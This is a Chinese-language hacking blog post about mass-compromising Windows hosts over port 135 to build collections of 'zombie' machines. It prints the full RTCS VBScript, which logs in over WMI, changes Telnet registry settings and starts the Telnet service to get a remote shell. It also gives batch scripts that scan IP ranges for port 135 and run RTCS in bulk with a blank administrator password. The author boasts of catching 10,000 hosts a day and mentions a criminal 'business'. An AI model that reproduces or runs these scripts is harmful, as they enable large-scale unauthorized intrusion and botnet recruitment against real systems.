135批量抓鸡依赖古老得RTCS

最新推荐文章于 2020-07-09 09:53:17 发布

inject2006

最新推荐文章于 2020-07-09 09:53:17 发布

阅读量3.7k

点赞数

文章标签：远程连接脚本 function 工具 server tcp

关于135抓肉鸡的分析最近好象135搞的很火热看见有人也把那个批量抓135肉鸡的工具发出来了我也就说下把反正俺也不早就不用那鸟东西了

上次看了那个也说一天抓1000只肉鸡由于我是开快进看的没仔细的看我以为他是自动登陆telnet 所以我就晕死了应为自动登陆telnet我以前研究很多我由于我批处理我学的不怎么样也就会点皮毛就加了他结果他一上来就开口批量开23卖2000RMB 人品啊我倒那鸟东西不清楚大家知道作者不那是02年安全焦点的大哥写的我有RT整个全套代码的一万年前我就知道怎么批量开23了不废话了先说其他的把后来一位大哥把他的RT整套脚本整合写了一个RCMD1。05这个是目前的最新版好象

需要解决的问题我详细的说一下把

首先要解决的就是批量开23了

rtcs脚本（百度一下有下的找不到就是搜索水品问题了）里面的代码如果懂VBS的朋友去看下就是先用VBS远程连接主机的wmi服务然后剩下的是开启和过认证部分以前有一篇文章分析过说是作者写的有一个小BUG 就是如果原来已经开启的话可以直接转到退出的这里不多说这个了

for /f "delims= " %%i in (nt.txt) do del %%i.bat
for /f "delims= " %%i in (nt.txt) do echo goto start>>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo :start>>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo cscript rtcs.vbe %%i administrator "" 1 23^|find "shell">>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo if errorlevel=1 goto b>>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo if errorlevel=0 goto d>>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo :d>>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo SecureCRT.EXE %%i&goto exit>>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo :b>>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo cscript rtcs.vbe %%i administrator "" 1 23^|find "error">>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo if errorlevel=1 goto start>>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo if errorlevel=0 goto exit>>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo :exit>>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo exit>>%%i.bat
for /f "delims= " %%i in (nt.txt) do start %%i.bat
exit

这个是我以前写的一个批处理有兴趣的朋友可以看下其实很简单外面流传的需要过滤23 我的不需要过滤23 有兴趣的朋友可以看下代码正确性没测试应为我写过好几个版本现在已经不记得哪个是可以用的了但是思路很明显的相信大家可以看明白

要解决的问题二

我也尝试了用脚本来实现先telnet ip 然后sendkey 后来发现问题大大的只能一个一个种植不能实现批量种植后来朋友给冰冰批量就是现在大家可以在外面找的版本他很好的解决了批量登陆和自动种植的问题调用辅助工具设置登陆脚本然后自动种植但是我相信用的朋友一定知道有什么问题 telnet认证是很复杂的此外容易出现提示丢失脚本的错误

其他的不知道说什么了我今天上网给朋友搞东西弄的累的要死思路不是很清楚我在总结下把

首先写一个S扫描的BAT然后里面用FOR循环自动整理IP 然后NT过滤然后调用上面我发的批处理批量开23 然后写一个批处理直接调用辅助工具自动登陆自动种植效果如何大家详细的去看动画就知道了

而后来我写的一个版本就很帅了嘿嘿保密中应为工具是给兄弟群共享的他们有业务来着如果我把东西发布了说是会干掉我怕怕给会懂VBS的朋友说一下把引导一下思路

前面的扫描和和NT过滤还是一样的不说了远程连接wmi大家可以看rtcs的脚本关键地方就是下面了

难道远程连接到了wmi服务就只有开telnet一条出路吗貌似wmi功能多多把具体能干什么去看安焦点rtcs作者02年的文章把目前我写的脚本和所有的工具打包起来也才70多K 同时开4个服务器一天抓1万只肉鸡信不信由你相信大家都知道recton里有一个http种植者的功能把去找找文章看人家怎么实现的最近风声很紧有业务的朋友最好小心最近的通道不是那么安全

这个是rtcs的代码自己保存成VBS

on error resume next
if (lcase(right(wscript.fullname,11))="wscript.exe") then
set objShell=wscript.createObject("wscript.shell")
objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
wscript.quit
end if
if wscript.arguments.count<5 then
usage()
wscript.echo "Not enough parameters."
wscript.quit
end if

ipaddress=wscript.arguments(0)
username=wscript.arguments(1)
password=wscript.arguments(2)
ntlm=wscript.arguments(3)
port=wscript.arguments(4)
if password=chr(34)&chr(34) then password=NULL
if ntlm<0 or ntlm>2 then
usage()
wscript.echo "The value of NTML is wrong."
wscript.quit
end if

usage()
wscript.echo "Conneting "&ipaddress&"...."
set objlocator=createobject("wbemscripting.swbemlocator")
set objswbemservices=objlocator.connectserver(ipaddress,"root/default",username,password)
showerror(err.number)

wscript.echo "Setting NTLM="&ntlm&"...."
set objinstance=objswbemservices.get("stdregprov")
set objmethod=objinstance.methods_("SetDWORDvalue")
set objinparam=objmethod.inparameters.spawninstance_()
objinparam.hdefkey=&h80000002
objinparam.ssubkeyname="SOFTWARE/Microsoft/TelnetServer/1.0"
objinparam.svaluename="NTLM"
objinparam.uvalue=ntlm
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)
showerror(objoutparam.returnvalue)

wscript.echo "Setting port="&port&"...."
objinparam.svaluename="TelnetPort"
objinparam.uvalue=port
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)
showerror(objoutparam.returnvalue)

wscript.echo "Querying state of telnet server...."
set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)
set colinstances=objswbemservices.execquery("select * from win32_service where name=’tlntsvr’")
for each objinstance in colinstances
if objinstance.startmode="Disabled" then
wscript.echo "Telnet server has been disabled. Now changeing start mode to manual...."
set objmethod=objinstance.methods_("changestartmode")
set objinparam=objmethod.inparameters.spawninstance_()
objinparam.startmode="Manual"
set objoutparam=objinstance.execmethod_("changestartmode",objinparam)
showerror(objoutparam.returnvalue)
end if
wscript.echo "Changeing state...."
if objinstance.started=true then
intstatus=objinstance.stopservice()
showerror(intstatus)
wscript.echo "Target telnet server has been STOP Successfully."
else
intstatus=objinstance.startservice()
showerror(intstatus)
wscript.echo "Target telnet server has been START Successfully!"
wscript.echo "Now, you can try: telnet "&ipaddress&" "&port&", to get a shell."
end if
next

function showerror(errornumber)
if errornumber<>0 then
wscript.echo "Error!"
wscript.quit
else
wscript.echo "OK!"
end if
end function

function usage()
wscript.echo "************************************************************************"
wscript.echo "RTCS v1.08"
wscript.echo "Remote Telnet Configure Script, by zzzevazzz"
wscript.echo "Welcome to visite www.isgrey.com"
wscript.echo "Usage:"
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password NTLMAuthor telnetport"
wscript.echo "It will auto change state of target telnet server."
wscript.echo "************************************************************************"
end function

经典吧，呵呵，我觉得，呵呵，管理员要给我加钱啊，呵呵
关于for循环我解释下

for /f这个这个参数表示对文本操作

tokens表示截取 tokens=1,2表示选取1，2两个部分 eol表示忽略 eol=-表示忽略-开始的行 delims表示分割符 delims=,表示对每行以“，”为分割符号对行进行分割字符

那么我给大家写一个S扫描自动整理IP的批处理把

s.bat

setlocal
cls
color A
title 自动抓鸡v1.0
echo ======================================================
echo 自动抓鸡v1.0
echo 作者：hurrytigar
echo QQ:30144942
echo emil:hurrytigar@163.com
echo hacked by hurrytigar
echo ======================================================
del result.txt
del s.txt
for /f "eol= tokens=1,2 delims= " %%i in (ip.txt) do s tcp %%i %%j 135 1000 /save
for /f "eol=- tokens=1 delims= " %%i in (result.txt) do echo %%i>>s1.txt
for /f "eol=P tokens=1 delims= " %%i in (s1.txt) do echo %%i>>s2.txt
for /f "eol=S tokens=1 delims= " %%i in (s2.txt) do echo %%i>>s.txt
del s1.txt
del s2.txt
del Result.txt